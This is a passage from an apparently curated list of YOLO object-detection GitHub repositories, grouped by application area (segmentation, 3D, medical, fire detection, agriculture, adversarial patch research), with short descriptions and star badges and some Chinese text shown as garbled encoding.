- [davidfrz/yolov5_distance_count](https://github.com/davidfrz/yolov5_distance_count) <img src="https://img.shields.io/github/stars/davidfrz/yolov5_distance_count?style=social"/> : ้่ฟyolov5ๅฎ็ฐ็ฎๆ ๆฃๆต+ๅ็ฎๆๅๅคดๅฎ็ฐ่ท็ฆปๆต้ใ
- [wenyishengkingkong/realsense-D455-YOLOV5](https://github.com/wenyishengkingkong/realsense-D455-YOLOV5) <img src="https://img.shields.io/github/stars/wenyishengkingkong/realsense-D455-YOLOV5?style=social"/> : ๅฉ็จrealsenseๆทฑๅบฆ็ธๆบๅฎ็ฐyolov5็ฎๆ ๆฃๆต็ๅๆถๆตๅบ่ท็ฆปใ
- [Thinkin99/yolov5_d435i_detection](https://github.com/Thinkin99/yolov5_d435i_detection) <img src="https://img.shields.io/github/stars/Thinkin99/yolov5_d435i_detection?style=social"/> : ไฝฟ็จrealsense d435i็ธๆบ๏ผๅบไบpytorchๅฎ็ฐyolov5็ฎๆ ๆฃๆต๏ผ่ฟๅๆฃๆต็ฎๆ ็ธๆบๅๆ ็ณปไธ็ไฝ็ฝฎไฟกๆฏใ
- [MUCHWAY/detect_distance_gazebo](https://github.com/MUCHWAY/detect_distance_gazebo) <img src="https://img.shields.io/github/stars/MUCHWAY/detect_distance_gazebo?style=social"/> : yolov5+camera_distance+gazebo.
- [magisystem0408/yolov5-DeepSort-RealSenseD435i](https://github.com/magisystem0408/yolov5-DeepSort-RealSenseD435i) <img src="https://img.shields.io/github/stars/magisystem0408/yolov5-DeepSort-RealSenseD435i?style=social"/> : yolov5+Realsence+DeepSense D435i.
- ### Instance and Semantic Segmentation
#### ๅฎไพๅ่ฏญไนๅๅฒ
- [SAM](https://github.com/facebookresearch/segment-anything) <img src="https://img.shields.io/github/stars/facebookresearch/segment-anything?style=social"/> : The repository provides code for running inference with the SegmentAnything Model (SAM), links for downloading the trained model checkpoints, and example notebooks that show how to use the model. "Segment Anything". (**[arXiv 2023](https://arxiv.org/abs/2304.02643)**).
- [Grounded-SAM](https://github.com/IDEA-Research/Grounded-Segment-Anything) <img src="https://img.shields.io/github/stars/IDEA-Research/Grounded-Segment-Anything?style=social"/> : Marrying Grounding DINO with Segment Anything & Stable Diffusion & Tag2Text & BLIP & Whisper & ChatBot - Automatically Detect , Segment and Generate Anything with Image, Text, and Audio Inputs. We plan to create a very interesting demo by combining [Grounding DINO](https://github.com/IDEA-Research/GroundingDINO) and [Segment Anything](https://github.com/facebookresearch/segment-anything) which aims to detect and segment Anything with text inputs!
- [Laughing-q/yolov5-q](https://github.com/Laughing-q/yolov5-q) <img src="https://img.shields.io/github/stars/Laughing-q/yolov5-q?style=social"/> : This repo is plan for instance segmentation based on yolov5-6.0 and yolact.
- [TomMao23/multiyolov5](https://github.com/TomMao23/multiyolov5) <img src="https://img.shields.io/github/stars/TomMao23/multiyolov5?style=social"/> : Multi YOLO V5โโDetection and Semantic Segmentation.
- [ArtyZe/yolo_segmentation](https://github.com/ArtyZe/yolo_segmentation) <img src="https://img.shields.io/github/stars/ArtyZe/yolo_segmentation?style=social"/> : image (semantic segmentation) instance segmentation by darknet or yolo.
- [midasklr/yolov5ds](https://github.com/midasklr/yolov5ds) <img src="https://img.shields.io/github/stars/midasklr/yolov5ds?style=social"/> : multi-task yolov5 with detection and segmentation.
- [RizwanMunawar/yolov7-segmentation](https://github.com/RizwanMunawar/yolov7-segmentation) <img src="https://img.shields.io/github/stars/RizwanMunawar/yolov7-segmentation?style=social"/> : YOLOv7 Instance Segmentation using OpenCV and PyTorch.
- [leandro-svg/Yolov7_Segmentation_Tensorrt](https://github.com/leandro-svg/Yolov7_Segmentation_Tensorrt) <img src="https://img.shields.io/github/stars/leandro-svg/Yolov7_Segmentation_Tensorrt?style=social"/> : The real-time Instance Segmentation Algorithm Yolov7 running on TensoRT and ONNX.
- [akashAD98/YOLOV8_SAM](https://github.com/akashAD98/YOLOV8_SAM) <img src="https://img.shields.io/github/stars/akashAD98/YOLOV8_SAM?style=social"/> : Use yolov8 & SAM model to get segmention for custom model.
- ### 3D Object Detection
#### ไธ็ปด็ฎๆ ๆฃๆต
- [ADLab-AutoDrive/BEVFusion](https://github.com/ADLab-AutoDrive/BEVFusion) <img src="https://img.shields.io/github/stars/ADLab-AutoDrive/BEVFusion?style=social"/> : "BEVFusion: A Simple and Robust LiDAR-Camera Fusion Framework". (**[NeurIPS 2022](https://arxiv.org/abs/2205.13790)**).
- [mit-han-lab/bevfusion](https://github.com/mit-han-lab/bevfusion) <img src="https://img.shields.io/github/stars/mit-han-lab/bevfusion?style=social"/> : "BEVFusion: Multi-Task Multi-Sensor Fusion with Unified Bird's-Eye View Representation". (**[ICRA 2023](https://arxiv.org/abs/2205.13542)**).
- [SAM3D](https://github.com/DYZhang09/SAM3D) <img src="https://img.shields.io/github/stars/DYZhang09/SAM3D?style=social"/> : "SAM3D: Zero-Shot 3D Object Detection via [Segment Anything](https://github.com/facebookresearch/segment-anything) Model". (**[arXiv 2023](https://arxiv.org/abs/2306.02245)**).
- [maudzung/YOLO3D-YOLOv4-PyTorch](https://github.com/maudzung/YOLO3D-YOLOv4-PyTorch) <img src="https://img.shields.io/github/stars/maudzung/YOLO3D-YOLOv4-PyTorch?style=social"/> : The PyTorch Implementation based on YOLOv4 of the paper: "YOLO3D: End-to-end real-time 3D Oriented Object Bounding Box Detection from LiDAR Point Cloud". (**[ECCV 2018](https://openaccess.thecvf.com/content_eccv_2018_workshops/w18/html/Ali_YOLO3D_End-to-end_real-time_3D_Oriented_Object_Bounding_Box_Detection_from_ECCVW_2018_paper.html)**)
- [maudzung/Complex-YOLOv4-Pytorch](https://github.com/maudzung/Complex-YOLOv4-Pytorch) <img src="https://img.shields.io/github/stars/maudzung/Complex-YOLOv4-Pytorch?style=social"/> : The PyTorch Implementation based on YOLOv4 of the paper: "Complex-YOLO: Real-time 3D Object Detection on Point Clouds". (**[arXiv 2018](https://arxiv.org/abs/1803.06199)**)
- [AI-liu/Complex-YOLO](https://github.com/AI-liu/Complex-YOLO) <img src="https://img.shields.io/github/stars/AI-liu/Complex-YOLO?style=social"/> : This is an unofficial implementation of "Complex-YOLO: Real-time 3D Object Detection on Point Clouds in pytorch". (**[arXiv 2018](https://arxiv.org/abs/1803.06199)**)
- [ghimiredhikura/Complex-YOLOv3](https://github.com/ghimiredhikura/Complex-YOLOv3) <img src="https://img.shields.io/github/stars/ghimiredhikura/Complex-YOLOv3?style=social"/> : Complete but Unofficial PyTorch Implementation of "Complex-YOLO: Real-time 3D Object Detection on Point Clouds with YoloV3". (**[arXiv 2018](https://arxiv.org/abs/1803.06199)**)
- [ruhyadi/YOLO3D](https://github.com/ruhyadi/YOLO3D) <img src="https://img.shields.io/github/stars/ruhyadi/YOLO3D?style=social"/> : YOLO 3D Object Detection for Autonomous Driving Vehicle. Reference by [skhadem/3D-BoundingBox](https://github.com/skhadem/3D-BoundingBox), "3D Bounding Box Estimation Using Deep Learning and Geometry". (**[CVPR 2017](https://openaccess.thecvf.com/content_cvpr_2017/html/Mousavian_3D_Bounding_Box_CVPR_2017_paper.html)**)
- [ruhyadi/yolo3d-lightning](https://github.com/ruhyadi/yolo3d-lightning) <img src="https://img.shields.io/github/stars/ruhyadi/YOLO3D?style=social"/> : YOLO for 3D Object Detection.
- [Yuanchu/YOLO3D](https://github.com/Yuanchu/YOLO3D) <img src="https://img.shields.io/github/stars/Yuanchu/YOLO3D?style=social"/> : Implementation of a basic YOLO model for object detection in 3D.
- [EmiyaNing/3D-YOLO](https://github.com/EmiyaNing/3D-YOLO) <img src="https://img.shields.io/github/stars/EmiyaNing/3D-YOLO?style=social"/> : YOLO v5 for Lidar-based 3D BEV Detection.
- ### SLAM Field Detection
#### SLAM้ขๅๆฃๆต
- [bijustin/YOLO-DynaSLAM](https://github.com/bijustin/YOLO-DynaSLAM) <img src="https://img.shields.io/github/stars/bijustin/YOLO-DynaSLAM?style=social"/> : YOLO Dynamic ORB_SLAM is a visual SLAM system that is robust in dynamic scenarios for RGB-D configuration.
- [BzdTaisa/YoloPlanarSLAM](https://github.com/BzdTaisa/YoloPlanarSLAM) <img src="https://img.shields.io/github/stars/BzdTaisa/YoloPlanarSLAM?style=social"/> : YOLO-Planar-SLAM.
- [saransapmaz/cv-slam-object-determination](https://github.com/saransapmaz/cv-slam-object-determination) <img src="https://img.shields.io/github/stars/saransapmaz/cv-slam-object-determination?style=social"/> : Object detection with hector slam and YOLO v3 computer vision algorithm.
- ### Industrial Defect Detection
#### ๅทฅไธ็ผบ้ทๆฃๆต
- [annsonic/Steel_defect](https://github.com/annsonic/Steel_defect) <img src="https://img.shields.io/github/stars/annsonic/Steel_defect?style=social"/> : Exercise: Use YOLO to detect hot-rolled steel strip surface defects (NEU-DET dataset).
- [VanillaHours/pcbDefectDetectionYOLO](https://github.com/VanillaHours/pcbDefectDetectionYOLO) <img src="https://img.shields.io/github/stars/VanillaHours/pcbDefectDetectionYOLO?style=social"/> : PCB defect detection using YOLOv3, on DeepPCB dataset.
- [talisma-cassoma/pcb-components-detection-recognition](https://github.com/talisma-cassoma/pcb-components-detection-recognition) <img src="https://img.shields.io/github/stars/talisma-cassoma/pcb-components-detection-recognition?style=social"/> : this code shows the train and test of a YOLOV5 convolutional neural network for detection of electronics components.
- [Luckycat518/Yolo-MSAPF](https://github.com/Luckycat518/Yolo-MSAPF) <img src="https://img.shields.io/github/stars/Luckycat518/Yolo-MSAPF?style=social"/> : Yolo-MSAPF: Multi-Scale Alignment fusion with Parallel feature Filtering model for high accuracy weld defect detection.
- [JiaLim98/YOLO-PCB](https://github.com/JiaLim98/YOLO-PCB) <img src="https://img.shields.io/github/stars/JiaLim98/YOLO-PCB?style=social"/> : A Deep Context Learning based PCB Defect Detection Model with Anomalous Trend Alarming System.
- ### SAR Image Detection
#### ๅๆๅญๅพ้ท่พพๅพๅๆฃๆต
- [humblecoder612/SAR_yolov3](https://github.com/humblecoder612/SAR_yolov3) <img src="https://img.shields.io/github/stars/humblecoder612/SAR_yolov3?style=social"/> : Best Accruacy:speed ratio SAR Ship detection in the world.
- #### Multispectral Image Fusion Detection
#### ๅคๅ
่ฐฑๅพๅ่ๅๆฃๆต
- [NVIDIA-AI-IOT/Lidar_AI_Solution](https://github.com/NVIDIA-AI-IOT/Lidar_AI_Solution) <img src="https://img.shields.io/github/stars/NVIDIA-AI-IOT/Lidar_AI_Solution?style=social"/> : This is a highly optimized solution for self-driving 3D-lidar repository. It does a great job of speeding up sparse convolution/CenterPoint/BEVFusion/OSD/Conversion. A project demonstrating Lidar related AI solutions, including three GPU accelerated Lidar/camera DL networks (PointPillars, CenterPoint, BEVFusion) and the related libs (cuPCL, 3D SparseConvolution, YUV2RGB, cuOSD,).
- [SuperYOLO](https://github.com/icey-zhang/SuperYOLO) <img src="https://img.shields.io/github/stars/icey-zhang/SuperYOLO?style=social"/> : "SuperYOLO: Super Resolution Assisted Object Detection in Multimodal Remote Sensing Imagery". (**[arXiv 2022](https://arxiv.org/abs/2209.13351)**)
- [OrangeSodahub/CRLFnet](https://github.com/OrangeSodahub/CRLFnet) <img src="https://img.shields.io/github/stars/OrangeSodahub/CRLFnet?style=social"/> : Camera-Radar-Lidar Fusion detection net based on ROS, YOLOv3, OpenPCDet integration.
- [mjoshi07/Visual-Sensor-Fusion](https://github.com/mjoshi07/Visual-Sensor-Fusion) <img src="https://img.shields.io/github/stars/mjoshi07/Visual-Sensor-Fusion?style=social"/> : LiDAR Fusion with Vision.
- [DocF/multispectral-object-detection](https://github.com/DocF/multispectral-object-detection) <img src="https://img.shields.io/github/stars/DocF/multispectral-object-detection?style=social"/> : Multispectral Object Detection with Yolov5 and Transformer.
- [MAli-Farooq/Thermal-YOLO](https://github.com/MAli-Farooq/Thermal-YOLO) <img src="https://img.shields.io/github/stars/sierprinsky/YoloV5_blood_cells?style=social"/> : This study is related to object detection in thermal infrared spectrum using YOLO-V5 framework for ADAS application.
- [Ye-zixiao/Double-YOLO-Kaist](https://github.com/Ye-zixiao/Double-YOLO-Kaist) <img src="https://img.shields.io/github/stars/Ye-zixiao/Double-YOLO-Kaist?style=social"/> : ไธ็งๅบไบYOLOv3/4็ๅๆตๆททๅๆจกๆ้่ทฏ่กไบบๆฃๆตๆนๆณ๐๐ง๐ฆใ
- [eralso/yolov5_Visible_Infrared_Vehicle_Detection](https://github.com/eralso/yolov5_Visible_Infrared_Vehicle_Detection) <img src="https://img.shields.io/github/stars/eralso/yolov5_Visible_Infrared_Vehicle_Detection?style=social"/> : ๅบไบๅฏ่งๅ
ๅ็บขๅคๅพๅ็ๆทฑๅบฆๅญฆไน ่ฝฆ่พ็ฎๆ ๆฃๆตใ
- [Arrowes/CEAM-YOLOv7](https://github.com/Arrowes/CEAM-YOLOv7) <img src="https://img.shields.io/github/stars/Arrowes/CEAM-YOLOv7?style=social"/> : CEAM-YOLOv7: Improved YOLOv7 Based on Channel Expansion and Attention Mechanism for Driver Distraction Behavior Detection.
- [jere357/yolov5-RGBD](https://github.com/jere357/yolov5-RGBD) <img src="https://img.shields.io/github/stars/jere357/yolov5-RGBD?style=social"/> : "fork" from yolov5 with the possibility of running inferences on RGBD(C) images, work in progress. This repo is not a fork of the original repo bcs i already have 1 fork with a PR pending, this is still messy code and a work in progress.
- ### Safety Monitoring Field Detection
#### ๅฎ้ฒ็ๆง้ขๅๆฃๆต
- [gengyanlei/fire-smoke-detect-yolov4](https://github.com/gengyanlei/fire-smoke-detect-yolov4) <img src="https://img.shields.io/github/stars/gengyanlei/fire-smoke-detect-yolov4?style=social"/> : fire-smoke-detect-yolov4-yolov5 and fire-smoke-detection-dataset ็ซ็พๆฃๆต๏ผ็้พๆฃๆตใ
- [CVUsers/Smoke-Detect-by-YoloV5](https://github.com/CVUsers/Smoke-Detect-by-YoloV5) <img src="https://img.shields.io/github/stars/CVUsers/Smoke-Detect-by-YoloV5?style=social"/> : Yolov5 real time smoke detection system.
- [CVUsers/Fire-Detect-by-YoloV5](https://github.com/CVUsers/Fire-Detect-by-YoloV5) <img src="https://img.shields.io/github/stars/CVUsers/Fire-Detect-by-YoloV5?style=social"/> : ็ซ็พๆฃๆต๏ผๆต็ๆฃๆต๏ผๅธ็ๆฃๆตใ
- [spacewalk01/Yolov5-Fire-Detection](https://github.com/spacewalk01/Yolov5-Fire-Detection) <img src="https://img.shields.io/github/stars/spacewalk01/Yolov5-Fire-Detection?style=social"/> : Train yolov5 to detect fire in an image or video.
- [roflcoopter/viseron](https://github.com/roflcoopter/viseron) <img src="https://img.shields.io/github/stars/roflcoopter/viseron?style=social"/> : Viseron - Self-hosted NVR with object detection.
- [dcmartin/motion-ai](https://github.com/dcmartin/motion-ai) <img src="https://img.shields.io/github/stars/dcmartin/motion-ai?style=social"/> : AI assisted motion detection for Home Assistant.
- [Nico31415/Drowning-Detector](https://github.com/Nico31415/Drowning-Detector) <img src="https://img.shields.io/github/stars/Nico31415/Drowning-Detector?style=social"/> : Using YOLO object detection, this program will detect if a person is drowning.
- [mc-cat-tty/DoorbellCamDaemon](https://github.com/mc-cat-tty/DoorbellCamDaemon) <img src="https://img.shields.io/github/stars/mc-cat-tty/DoorbellCamDaemon?style=social"/> : Part of DoorbellCam project: daemon for people recognition with YOLO from a RTSP video stream.
- [Choe-Ji-Hwan/Fire_Detect_Custom_Yolov5](https://github.com/Choe-Ji-Hwan/Fire_Detect_Custom_Yolov5) <img src="https://img.shields.io/github/stars/Choe-Ji-Hwan/Fire_Detect_Custom_Yolov5?style=social"/> : 2022-1 Individual Research Assignment: Using YOLOv5 to simply recognize each type of fire.
- [bishal116/FireDetection](https://github.com/bishal116/FireDetection) <img src="https://img.shields.io/github/stars/bishal116/FireDetection?style=social"/> : This project builds fire detecton using YOLO v3 model.
- [Psynosaur/Jetson-SecVision](https://github.com/Psynosaur/Jetson-SecVision) <img src="https://img.shields.io/github/stars/Psynosaur/Jetson-SecVision?style=social"/> : Person detection for Hikvision DVR with AlarmIO ports, uses TensorRT and yolov4.
- [robmarkcole/fire-detection-from-images](https://github.com/robmarkcole/fire-detection-from-images) <img src="https://img.shields.io/github/stars/robmarkcole/fire-detection-from-images?style=social"/> : Detect fire in images using neural nets.
- [gaiasd/DFireDataset](https://github.com/gaiasd/DFireDataset) <img src="https://img.shields.io/github/stars/gaiasd/DFireDataset?style=social"/> : D-Fire: an image data set for fire and smoke detection.
- [MuhammadMoinFaisal/FireDetectionYOLOv8](https://github.com/MuhammadMoinFaisal/FireDetectionYOLOv8) <img src="https://img.shields.io/github/stars/MuhammadMoinFaisal/FireDetectionYOLOv8?style=social"/> : Fire Detection using YOLOv8.
- [AI-Expert-04/School_Zone_Eye_Level](https://github.com/AI-Expert-04/School_Zone_Eye_Level) <img src="https://img.shields.io/github/stars/AI-Expert-04/School_Zone_Eye_Level?style=social"/> : Prevention of accidents in school zones using deep learning.
- [roboflow/supervision](https://github.com/roboflow/supervision) <img src="https://img.shields.io/github/stars/roboflow/supervision?style=social"/> : We write your reusable computer vision tools. ๐ [roboflow.github.io/supervision](https://roboflow.github.io/supervision/)
- [AntroSafin/Fire_Detection_YoloV5](https://github.com/AntroSafin/Fire_Detection_YoloV5) <img src="https://img.shields.io/github/stars/AntroSafin/Fire_Detection_YoloV5?style=social"/> : This is the YoloV5 fire detection application.
- [harivams-sai/FireDetectionYOLOv8](https://github.com/harivams-sai/FireDetectionYOLOv8) <img src="https://img.shields.io/github/stars/harivams-sai/FireDetectionYOLOv8?style=social"/> : A fire detection model based on YOLOv8 Ultralytics model for object detection. Tech: Python, Computer Vision, Colab Notebook, Fire-detection, YOLOv8.
- [e-candeloro/SAURUSS-Autonomous-Drone-Surveillance](https://github.com/e-candeloro/SAURUSS-Autonomous-Drone-Surveillance) <img src="https://img.shields.io/github/stars/e-candeloro/SAURUSS-Autonomous-Drone-Surveillance?style=social"/> : An autonomous drone and sensor based surveillance system that use a Tello Drone, an Arduino, a Raspberry Pi and an Android smartphone.
- [pedbrgs/Fire-Detection](https://github.com/pedbrgs/Fire-Detection) <img src="https://img.shields.io/github/stars/pedbrgs/Fire-Detection?style=social"/> : Fire and smoke detection using spatial and temporal patterns.
- ### Medical Field Detection
#### ๅปๅญฆ้ขๅๆฃๆต
- [DataXujing/YOLO-v5](https://github.com/DataXujing/YOLO-v5) <img src="https://img.shields.io/github/stars/DataXujing/YOLO-v5?style=social"/> : YOLO v5ๅจๅป็้ขๅไธญๆถๅๅ
้็ฎๆ ๆฃๆต็ๅบ็จใ
- [Jafar-Abdollahi/Automated-detection-of-COVID-19-cases-using-deep-neural-networks-with-CTS-images](https://github.com/Jafar-Abdollahi/Automated-detection-of-COVID-19-cases-using-deep-neural-networks-with-CTS-images) <img src="https://img.shields.io/github/stars/Jafar-Abdollahi/Automated-detection-of-COVID-19-cases-using-deep-neural-networks-with-CTS-images?style=social"/> : In this project, a new model for automatic detection of covid-19 using raw chest X-ray images is presented.
- [fahriwps/breast-cancer-detection](https://github.com/fahriwps/breast-cancer-detection) <img src="https://img.shields.io/github/stars/fahriwps/breast-cancer-detection?style=social"/> : Breast cancer mass detection using YOLO object detection algorithm and GUI.
- [niehusst/YOLO-Cancer-Detection](https://github.com/niehusst/YOLO-Cancer-Detection) <img src="https://img.shields.io/github/stars/niehusst/YOLO-Cancer-Detection?style=social"/> : An implementation of the YOLO algorithm trained to spot tumors in DICOM images.
- [safakgunes/Blood-Cancer-Detection-YOLOV5](https://github.com/safakgunes/Blood-Cancer-Detection-YOLOV5) <img src="https://img.shields.io/github/stars/safakgunes/Blood-Cancer-Detection-YOLOV5?style=social"/> : Blood Cancer Detection with YOLOV5.
- [shchiang0708/YOLOv2_skinCancer](https://github.com/shchiang0708/YOLOv2_skinCancer) <img src="https://img.shields.io/github/stars/shchiang0708/YOLOv2_skinCancer?style=social"/> : YOLOv2_skinCancer.
- [avral1810/parkinsongait](https://github.com/avral1810/parkinsongait) <img src="https://img.shields.io/github/stars/avral1810/parkinsongait?style=social"/> : Parkinsonโs Disease.
- [sierprinsky/YoloV5_blood_cells](https://github.com/sierprinsky/YoloV5_blood_cells) <img src="https://img.shields.io/github/stars/sierprinsky/YoloV5_blood_cells?style=social"/> : The main idea of this project is to detect blood cells using YOLOV5 over a public roboflow dataset.
- [LuozyCS/skin_disease_detection_yolov5](https://github.com/LuozyCS/skin_disease_detection_yolov5) <img src="https://img.shields.io/github/stars/LuozyCS/skin_disease_detection_yolov5?style=social"/> : skin_disease_detection_yolov5.
- [Moqixis/object_detection_yolov5_deepsort](https://github.com/Moqixis/object_detection_yolov5_deepsort) <img src="https://img.shields.io/github/stars/Moqixis/object_detection_yolov5_deepsort?style=social"/> : ๅบไบyolov5+deepsort็ๆฏ่็ฎๆ ๆฃๆตใ
- [mdciri/YOLOv7-Bone-Fracture-Detection](https://github.com/mdciri/YOLOv7-Bone-Fracture-Detection) <img src="https://img.shields.io/github/stars/mdciri/YOLOv7-Bone-Fracture-Detection?style=social"/> : YOLOv7 to detect bone fractures on X-ray images.
- [MIRACLE-Center/YOLO_Universal_Anatomical_Landmark_Detection](https://github.com/MIRACLE-Center/YOLO_Universal_Anatomical_Landmark_Detection) <img src="https://img.shields.io/github/stars/MIRACLE-Center/YOLO_Universal_Anatomical_Landmark_Detection?style=social"/> : [MICCAI 2021] [You Only Learn Once: Universal Anatomical Landmark Detection](https://arxiv.org/abs/2103.04657)
- [fahriwps/breast-cancer-detection](https://github.com/fahriwps/breast-cancer-detection) <img src="https://img.shields.io/github/stars/fahriwps/breast-cancer-detection?style=social"/> : Breast cancer mass detection using YOLO object detection algorithm and GUI.
- [mkang315/CST-YOLO](https://github.com/mkang315/CST-YOLO) <img src="https://img.shields.io/github/stars/mkang315/CST-YOLO?style=social"/> : Official implementation of "CST-YOLO: A Novel Method for Blood Cell Detection Based on Improved YOLOv7 and CNN-Swin Transformer".
- ### Chemistry Field Detection
#### ๅๅญฆ้ขๅๆฃๆต
- [xuguodong1999/COCR](https://github.com/xuguodong1999/COCR) <img src="https://img.shields.io/github/stars/xuguodong1999/COCR?style=social"/> : COCR is designed to convert an image of hand-writing chemical structure to graph of that molecule.
- ### Agricultural Field Detection
#### ๅไธ้ขๅๆฃๆต
- [liao1fan/MGA-YOLO-for-apple-leaf-disease-detection](https://github.com/liao1fan/MGA-YOLO-for-apple-leaf-disease-detection) <img src="https://img.shields.io/github/stars/liao1fan/MGA-YOLO-for-apple-leaf-disease-detection?style=social"/> : MGA-YOLO: A Lightweight One-Stage Network for Apple Leaf Disease Detection.
- [tanmaypandey7/wheat-detection](https://github.com/tanmaypandey7/wheat-detection) <img src="https://img.shields.io/github/stars/tanmaypandey7/wheat-detection?style=social"/> : Detecting wheat heads using YOLOv5.
- [WoodratTradeCo/crop-rows-detection](https://github.com/WoodratTradeCo/crop-rows-detection) <img src="https://img.shields.io/github/stars/WoodratTradeCo/crop-rows-detection?style=social"/> : It is an real-time crop rows detection method using YOLOv5.
- [denghv/Vegetables_Fruit_Detection](https://github.com/denghv/Vegetables_Fruit_Detection) <img src="https://img.shields.io/github/stars/denghv/Vegetables_Fruit_Detection?style=social"/> : Using YOLOv10 to detect vegetables & fruit.
- ### Sports Field Detection
#### ไฝ่ฒ้ขๅๆฃๆต
- [tomer-erez/pingpong-referee](https://github.com/tomer-erez/pingpong-referee) <img src="https://img.shields.io/github/stars/tomer-erez/pingpong-referee?style=social"/> : using the YOlO algorithm for an automated pingpong referee.
- ### Adverse Weather Conditions
#### ๆถๅฃๅคฉๆฐๆ
ๅต
- [LLVIP](https://github.com/bupt-ai-cz/LLVIP) <img src="https://img.shields.io/github/stars/bupt-ai-cz/LLVIP?style=social"/> : "LLVIP: A Visible-infrared Paired Dataset for Low-light Vision". (**[ICCV 2021](https://openaccess.thecvf.com/content/ICCV2021W/RLQ/html/Jia_LLVIP_A_Visible-Infrared_Paired_Dataset_for_Low-Light_Vision_ICCVW_2021_paper.html)**)
- [Image-Adaptive YOLO](https://github.com/wenyyu/Image-Adaptive-YOLO) <img src="https://img.shields.io/github/stars/wenyyu/Image-Adaptive-YOLO?style=social"/> : "Image-Adaptive YOLO for Object Detection in Adverse Weather Conditions". (**[AAAI 2022](https://arxiv.org/abs/2112.08088)**). "่ฎก็ฎๆบ่ง่ง็ ็ฉถ้ข๏ผใ[ๅพๅ่ช้ๅบYOLO๏ผๆจก็ณ็ฏๅขไธ็็ฎๆ ๆฃๆต๏ผ้ๆบไปฃ็ ๏ผ](https://mp.weixin.qq.com/s/QdM6Dx990VhN97MRIP74XA)ใ"
- ### Adversarial Attack and Defense
#### ๅฏนๆๆปๅปไธ้ฒๅพก
- [EAVISE/adversarial-yolo](https://gitlab.com/EAVISE/adversarial-yolo) : "Fooling automated surveillance cameras: adversarial patches to attack person detection". (**[CVPR 2019](https://openaccess.thecvf.com/content_CVPRW_2019/html/CV-COPS/Thys_Fooling_Automated_Surveillance_Cameras_Adversarial_Patches_to_Attack_Person_Detection_CVPRW_2019_paper.html)**)
- [git-disl/TOG](https://github.com/git-disl/TOG) <img src="https://img.shields.io/github/stars/git-disl/TOG?style=social"/> : "Adversarial Objectness Gradient Attacks on Real-time Object Detection Systems". (**[IEEE TPS-ISA 2020](https://ieeexplore.ieee.org/abstract/document/9325397)**) | "Understanding Object Detection Through an Adversarial Lens". (**[ESORICS 2020](https://link.springer.com/chapter/10.1007/978-3-030-59013-0_23)**)
- [VITA-Group/3D_Adversarial_Logo](https://github.com/VITA-Group/3D_Adversarial_Logo) <img src="https://img.shields.io/github/stars/VITA-Group/3D_Adversarial_Logo?style=social"/> : 3D adversarial logo attack on different3D object meshes to fool a YOLOV2 detector. "Can 3D Adversarial Logos Clock Humans?". (**[arXiv 2020](https://arxiv.org/abs/2006.14655)**)
- [ASGuard-UCI/MSF-ADV](https://github.com/ASGuard-UCI/MSF-ADV) <img src="https://img.shields.io/github/stars/ASGuard-UCI/MSF-ADV?style=social"/> : MSF-ADV is a novel physical-world adversarial attack method, which can fool the Multi Sensor Fusion (MSF) based autonomous driving (AD) perception in the victim autonomous vehicle (AV) to fail in detecting a front obstacle and thus crash into it. "Invisible for both Camera and LiDAR: Security of Multi-Sensor Fusion based Perception in Autonomous Driving Under Physical-World Attacks". (**[IEEE S&P 2021](https://www.computer.org/csdl/proceedings-article/sp/2021/893400b302/1t0x9btzenu)**)
- [veralauee/DPatch](https://github.com/veralauee/DPatch) <img src="https://img.shields.io/github/stars/veralauee/DPatch?style=social"/> : "DPatch: An Adversarial Patch Attack on Object Detectors". (**[arXiv 2018](https://arxiv.org/abs/1806.02299)**)
- [Shudeng/GPAttack](https://github.com/Shudeng/GPAttack) <img src="https://img.shields.io/github/stars/Shudeng/GPAttack?style=social"/> : Grid Patch Attack for Object Detection.
- [Wu-Shudeng/DPAttack](https://github.com/Wu-Shudeng/DPAttack) <img src="https://img.shields.io/github/stars/Wu-Shudeng/DPAttack?style=social"/> : "DPAttack: Diffused Patch Attacks against Universal Object Detection". (**[arXiv 2020](https://arxiv.org/abs/2010.11679)**)
- [FenHua/DetDak](https://github.com/FenHua/DetDak) <img src="https://img.shields.io/github/stars/FenHua/DetDak?style=social"/> : Patch adversarial attack; object detection; CIKM2020 ๅฎๅ
จAIๆๆ่
่ฎกๅ็ฌฌๅๆ๏ผ้็จ็ฎๆ ๆฃๆต็ๅฏนๆๆปๅปใ "Object Hider: Adversarial Patch Attack Against Object Detectors". (**[arXiv 2020](https://arxiv.org/abs/2010.14974)**)
- [THUrssq/Tianchi04](https://github.com/THUrssq/Tianchi04) <img src="https://img.shields.io/github/stars/THUrssq/Tianchi04?style=social"/> : This is NO.4 solution for "CIKM-2020 Alibaba-Tsinghua Adversarial Challenge on Object Detection". "Sparse Adversarial Attack to Object Detection". (**[arXiv 2020](https://arxiv.org/abs/2012.13692)**)
- [mesunhlf/UPC-tf](https://github.com/mesunhlf/UPC-tf) <img src="https://img.shields.io/github/stars/mesunhlf/UPC-tf?style=social"/> : "Universal Physical Camouflage Attacks on Object Detectors". (**[CVPR 2020](https://openaccess.thecvf.com/content_CVPR_2020/html/Huang_Universal_Physical_Camouflage_Attacks_on_Object_Detectors_CVPR_2020_paper.html)**)
- [alex96295/YOLOv3_adversarial_defense](https://github.com/alex96295/YOLOv3_adversarial_defense) <img src="https://img.shields.io/github/stars/alex96295/YOLOv3_adversarial_defense?style=social"/> : YOLOv3_adversarial_defense.
- [alex96295/YOLO_adversarial_attacks](https://github.com/alex96295/YOLO_adversarial_attacks) <img src="https://img.shields.io/github/stars/alex96295/YOLO_adversarial_attacks?style=social"/> : YOLO_adversarial_attacks.
- [alex96295/Adversarial-Patch-Attacks-TRAINING-YOLO-SSD-Pytorch](https://github.com/alex96295/Adversarial-Patch-Attacks-TRAINING-YOLO-SSD-Pytorch) <img src="https://img.shields.io/github/stars/alex96295/Adversarial-Patch-Attacks-TRAINING-YOLO-SSD-Pytorch?style=social"/> : This repository has the code needed to train 'Adversarial Patch Attacks' on YOLO and SSD models for object detection in Pytorch.
- [FranBesq/attack-yolo](https://github.com/FranBesq/attack-yolo) <img src="https://img.shields.io/github/stars/FranBesq/attack-yolo?style=social"/> : Developing adversarial attacks on YOLO algorithm for computer vision.
- [Rushi314/GPR-Object-Detection](https://github.com/Rushi314/GPR-Object-Detection) <img src="https://img.shields.io/github/stars/Rushi314/GPR-Object-Detection?style=social"/> : Detecting Objects in Ground Penetrating Radars Scans.
- [realtxy/pso-adversarial-yolo_v3](https://github.com/realtxy/pso-adversarial-yolo_v3) <img src="https://img.shields.io/github/stars/realtxy/pso-adversarial-yolo_v3?style=social"/> : pso-adversarial-yolo_v3.
